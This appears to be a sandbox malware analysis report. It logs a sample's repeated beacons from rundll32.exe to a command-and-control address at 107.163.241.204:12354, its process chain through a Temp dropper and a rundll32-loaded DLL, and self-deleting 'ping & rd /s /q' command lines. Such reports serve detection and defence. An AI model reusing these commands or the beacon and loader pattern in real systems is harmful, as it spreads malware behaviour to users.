Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.9	50887	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:39.296591043 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.9	50977	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:39.413924932 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:25:40.981899977 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:40 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.9	50978	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:39.413924932 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.9	52262	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:41.544770002 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.9	52324	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:41.657172918 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.9	53380	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:43.011276007 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.9	53384	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:43.600306034 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.9	53421	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:43.693208933 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.9	53422	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:43.694067955 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:25:45.261578083 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:45 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.9	55505	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:46.585161924 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.9	55526	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:46.710813999 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.9	55962	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:47.209956884 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.9	56247	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:47.615381956 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.9	56326	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:47.735153913 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.9	56327	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:47.735380888 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:25:49.296241045 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:49 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.9	57951	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:49.856829882 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.9	58061	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:49.975644112 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49834	202.108.0.52	443	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:24:01 UTC	142	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49927	202.108.0.52	443	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:24:09 UTC	142	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49975	202.108.0.52	443	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:24:13 UTC	142	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	50022	202.108.0.52	443	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:24:17 UTC	142	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	50072	202.108.0.52	443	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:24:21 UTC	142	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	50122	202.108.0.52	443	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:24:25 UTC	142	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	50172	202.108.0.52	443	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:24:29 UTC	142	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	50226	202.108.0.52	443	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:24:33 UTC	142	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	50283	202.108.0.52	443	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:24:37 UTC	142	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	50474	202.108.0.52	443	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:24:49 UTC	142	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	50561	202.108.0.52	443	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:24:53 UTC	142	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	50660	202.108.0.52	443	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:24:57 UTC	142	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	50784	202.108.0.52	443	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:02 UTC	142	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	50936	202.108.0.52	443	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:06 UTC	142	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	51144	202.108.0.52	443	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:10 UTC	142	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	51381	202.108.0.52	443	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:14 UTC	142	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	51633	202.108.0.52	443	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:18 UTC	142	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	51858	202.108.0.52	443	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:22 UTC	142	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	54674	202.108.0.52	443	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:26 UTC	142	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	57802	202.108.0.52	443	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:30 UTC	142	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive

Target ID:	0
Start time:	10:23:42
Start date:	11/12/2024
Path:	C:\Users\user\Desktop\XgijTrY6No.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\XgijTrY6No.exe"
Imagebase:	0x400000
File size:	87'284 bytes
MD5 hash:	FC2914434D6121F5E04E8E70E235C239
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:23:42
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /c ping 127.0.0.1 -n 2&C:\Users\user\AppData\Local\Temp\\mszcy.exe "C:\Users\user\Desktop\XgijTrY6No.exe"
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:23:42
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:23:42
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0xd90000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:23:43
Start date:	11/12/2024
Path:	C:\Users\user\AppData\Local\Temp\mszcy.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\\mszcy.exe "C:\Users\user\Desktop\XgijTrY6No.exe"
Imagebase:	0x400000
File size:	87'764 bytes
MD5 hash:	847CCE07E3BF3D974D1D089F5028E95F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:23:43
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	c:\windows\system32\rundll32.exe "c:\ftelcs\rjqzr.dll",QueryPluginInterface C:\Users\user\AppData\Local\Temp\mszcy.exe
Imagebase:	0xfd0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	10:23:55
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\windows\SysWOW64\rundll32.exe" "c:\ftelcs\rjqzr.dll",QueryPluginInterface
Imagebase:	0xfd0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:23:56
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\ftelcs"
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:23:56
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:23:56
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 3
Imagebase:	0xd90000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:24:04
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\windows\SysWOW64\rundll32.exe" "c:\ftelcs\rjqzr.dll",QueryPluginInterface
Imagebase:	0xfd0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: cmd.exePID: 7324, Parent PID: 6956

General

Target ID:	14
Start time:	10:24:04
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\ftelcs"
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 592, Parent PID: 7324

General

Target ID:	15
Start time:	10:24:04
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:24:04
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 3
Imagebase:	0xd90000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	12%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	15.2%
Total number of Nodes:	276
Total number of Limit Nodes:	7

Executed Functions

Function 00401A2A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(00000000,00000084,IMAGE), ref: 00401A46
LoadResource.KERNEL32(00000000,00000000), ref: 00401A54
SizeofResource.KERNEL32(00000000,00000000), ref: 00401A69
LockResource.KERNEL32(00000000,00000000), ref: 00401A74
memcpy.MSVCRT(00000000,00000000), ref: 00401A7C
wsprintfA.USER32 ref: 00401B2B
CreateDirectoryA.KERNEL32(?,00000000), ref: 00401B38
Sleep.KERNEL32(00000064), ref: 00401B40
memset.MSVCRT ref: 00401B4D
wsprintfA.USER32 ref: 00401B74

Strings

IMAGE, xrefs: 00401A39

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: Resource$wsprintf$CreateDirectoryFindLoadLockSizeofSleepmemcpymemset
String ID: IMAGE
API String ID: 3931793037-845793007
Opcode ID: d3edc049732555914adbff52832aa4292bf647af716a8d02043898333d2fcd6f
Instruction ID: 4f975884327954dfad89ea398a43f93018ff4a6e72412e49f1d32c0e5fd34b6a
Opcode Fuzzy Hash: d3edc049732555914adbff52832aa4292bf647af716a8d02043898333d2fcd6f
Instruction Fuzzy Hash: 0AE04F673041646AE22026B96DC995B6A6CC2C57EAB110537FB43F219094748C0545B9

Function 00401867 Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 151
sleepfileprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#823.MFC42(00100000), ref: 00401879
memset.MSVCRT ref: 00401888
__p___argv.MSVCRT ref: 00401897

Part of subcall function 004017B2: CreateFileA.KERNELBASE(?,80000000,00000000,00000000,00000003,00000080,00000000), ref: 004017ED

__p___argv.MSVCRT ref: 004018B9

Part of subcall function 004017B2: memset.MSVCRT ref: 00401814
Part of subcall function 004017B2: ReadFile.KERNELBASE(?,?,00001000,?,00000000), ref: 0040182C
Part of subcall function 004017B2: memcpy.MSVCRT(?,?,?), ref: 00401847
Part of subcall function 004017B2: CloseHandle.KERNELBASE(?), ref: 00401859

Sleep.KERNEL32(00000064), ref: 004018CE
GetTickCount.KERNEL32 ref: 00401906
GetTempPathA.KERNELBASE(00000104,?), ref: 00401936
wsprintfA.USER32 ref: 00401953
CreateFileA.KERNELBASE(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 00401973
